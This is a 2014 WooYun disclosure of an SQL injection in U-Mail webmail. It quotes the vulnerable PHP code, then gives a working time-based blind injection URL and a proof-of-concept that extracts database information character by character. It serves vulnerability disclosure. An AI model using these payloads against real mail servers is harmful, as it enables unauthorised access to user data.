当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080604

漏洞标题:U-Mail某处sql注射漏洞

相关厂商:U-Mail

漏洞作者: menmen519

提交时间:2014-10-26 23:15

修复时间:2015-01-24 23:16

公开时间:2015-01-24 23:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-26: 细节已通知厂商并且等待厂商处理中
2014-10-31: 厂商已经确认,细节仅向厂商公开
2014-11-03: 细节向第三方安全合作伙伴开放
2014-12-25: 细节向核心白帽子及相关领域专家公开
2015-01-04: 细节向普通白帽子公开
2015-01-14: 细节向实习白帽子公开
2015-01-24: 细节向公众公开

简要描述:

U-Mail sql注射 U-mail 进行了文件更新其他的漏洞已经被修补了 但是还有一处没有进行修补

详细说明:

o_concat.php:

if ( ACTION == "contact-edit" )
{
$contact_id = gss( $_GET['id'] );
$group_list = explode( ",", trim( $_POST['group_list'] ) );
$group_change = gss( $_POST['group_change'] );
if ( !$contact_id && !check_post( ) )
{
dump_json( array( "status" => 0, "message" => "参数错误!" ) );
}
$birthday = gss( $_POST['bd_year'] )."-".gss( $_POST['bd_month'] )."-".gss( $_POST['bd_day'] );
$data = array(
"fullname" => gss( $_POST['fullname'] ),
"birthday" => $birthday,
"pref_email" => gss( $_POST['pref_email'] ),
"pref_tel" => gss( $_POST['pref_tel'] ),
"im_qq" => gss( $_POST['im_qq'] ),
"im_msn" => gss( $_POST['im_msn'] ),
"homepage" => gss( $_POST['homepage'] ),
"remark" => gss( $_POST['remark'] ),
"home_country" => gss( $_POST['home_country'] ),
"home_state" => gss( $_POST['home_state'] ),
"home_city" => gss( $_POST['home_city'] ),
"home_address" => gss( $_POST['home_address'] ),
"home_tel" => gss( $_POST['home_tel'] ),
"home_zip" => gss( $_POST['home_zip'] ),
"work_name" => gss( $_POST['work_name'] ),
"work_department" => gss( $_POST['work_department'] ),
"work_position" => gss( $_POST['work_position'] ),
"work_address" => gss( $_POST['work_address'] ),
"work_zip" => gss( $_POST['work_zip'] ),
"work_tel" => gss( $_POST['work_tel'] ),
"work_fax" => gss( $_POST['work_fax'] ),
"mail_bak1" => gss( $_POST['mail_bak1'] ),
"mail_bak2" => gss( $_POST['mail_bak2'] ),
"updated" => date( "Y-m-d H:i:s" )
);
$where = "contact_id='".$contact_id."'";
$result = $PAB->update_contact( $data, $where, 0 );
if ( $result )
{
if ( $group_change )
{
$res = $PAB->delMapByContactID( $user_id, $contact_id, 0 );


第一步:
$contact_id = gss( $_GET['id'] );
最后没有进行处理进入到了:
$res = $PAB->delMapByContactID( $user_id, $contact_id, 0 );
我们跟进去看看:
zend解码后 有乱码 我就用响应的替换了一下

public function delMapByContactID( $xxx, $yyy, $zzzz = FALSE )
{
$_qqqq = "user_id='".$xxx."' AND contact_id IN (".$yyy.")";


访问url:
http://192.168.47.132/webmail/client/pab/index.php?module=operate&action=contact-edit&id=if(1,sleep(5),1)
postdata:
fullname=xxx&pref_email=xxxx%40qq.com&pref_tel=15802991519&home_tel=&work_tel=&im_qq=&im_msn=&home_country=&home_state=&home_city=&home_zip=&homepage=&work_name=&work_department=&work_position=&work_address=&work_zip=&work_fax=&mail_bak1=&mail_bak2=&group_list=&bd_year=2014&bd_month=02&bd_day=&home_address=&remark=&group_change=0&group_change=xxx
group_change=xxx 当此有值的时候 进入到了那个函数
访问后 延迟五秒:
抓取到的sql语句为:

3.png


下来我们看poc:
http://192.168.47.132/webmail/client/pab/index.php?module=operate&action=contact-edit&id=sleep(if(ascii(substr((select user()),1,1))=$NUM,sleep(5),1)))
postdata:
fullname=xxx&pref_email=xxxx%40qq.com&pref_tel=15802991519&home_tel=&work_tel=&im_qq=&im_msn=&home_country=&home_state=&home_city=&home_zip=&homepage=&work_name=&work_department=&work_position=&work_address=&work_zip=&work_fax=&mail_bak1=&mail_bak2=&group_list=&bd_year=2014&bd_month=02&bd_day=&home_address=&remark=&group_change=0&group_change=xxx
这里的$NUM 可以进行递增 猜测 信息

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-10-31 17:39

厂商回复:

最新状态:

暂无